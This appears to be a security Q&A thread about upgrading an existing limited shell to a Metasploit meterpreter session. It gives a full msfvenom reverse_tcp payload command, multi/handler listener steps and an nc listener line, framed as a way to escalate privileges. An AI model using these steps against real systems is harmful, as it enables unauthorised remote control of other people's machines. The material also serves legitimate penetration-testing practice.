4

I have a limited shell on a machine and I would like to use a Metasploit module to escalate privileges. Problem: I did not get the limited shell with a metasploit module, and the metasploit module for escalation asks for a session ID.

So my question is: how can I turn my limited shell (which I get without metasploit) into a metasploit session ?

kaidentity
  • 2,654
  • 15
  • 32
adrTuIPKJ44
  • 185
  • 1
  • 1
  • 6

2 Answers2

2

You can generate an platform specific executable with msfvenom. For example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<yourport> -f exe > meter.exe

You bring that exe to the target through your limited shell. Then you start a listener in metasploit:

use exploit/handler/multi (or exploit/multi/handler, don't remember)
set payload windows/meterpreter/reverse_tcp (needs to be the same as above)
set LHOST <your ip>
set LPORT <your port> (these 2 need to be the same as above)
run

and after that you start the exe on the target. Then you should get a meterpreter session. Let me know if it still doesn't work.

kaidentity
  • 2,654
  • 15
  • 32
  • Ok thanks, I just discovered it by myself, but I'm stuck now because I need a reverse php for windows and there is no such thing in Metasploit library – adrTuIPKJ44 Oct 19 '16 at 13:23
  • Why do you need php? Do you have a php cmd executor and not a real "cmd.exe" type of shell? – kaidentity Oct 19 '16 at 13:28
  • My reverse shell can only be a .php file, because this is the only type of file I can make the server execute – adrTuIPKJ44 Oct 19 '16 at 13:40
  • I'm stuck here... – adrTuIPKJ44 Oct 19 '16 at 13:40
  • Isn't it possible to not say to metasploit that I'll use any reverse shell (on the 2nd part of you answer) ? I just want metasploit to have the same behaviour as a simple "nc -lp 4444" – adrTuIPKJ44 Oct 19 '16 at 13:43
  • @adrTulPKJ44 Sorry I don't get this. You don't want a reverse shell but a bind shell, is that what you're asking? – kaidentity Oct 19 '16 at 13:48
2

Ok I finally did it. I'll try to explain what I did.

I wanted to get a meterpreter shell on a machine on which I was already abble to have a shell (but without Metasploit). The reason why I wanted a meterpreter shell is because I need a Metasploit Session in order to use a Metasploit Module for privilege escalation.

So I wanted to use my php_reverse shell for windows machines (which is not a .exe but a php and works only on windows machines) with Multi/Handler, but It's not possible (and there is no equivalent in Metasploit library, I've checked several times). So I finally uploaded an https_reverse_shell in a .exe format and was abble to use Multi/Handler.

adrTuIPKJ44
  • 185
  • 1
  • 1
  • 6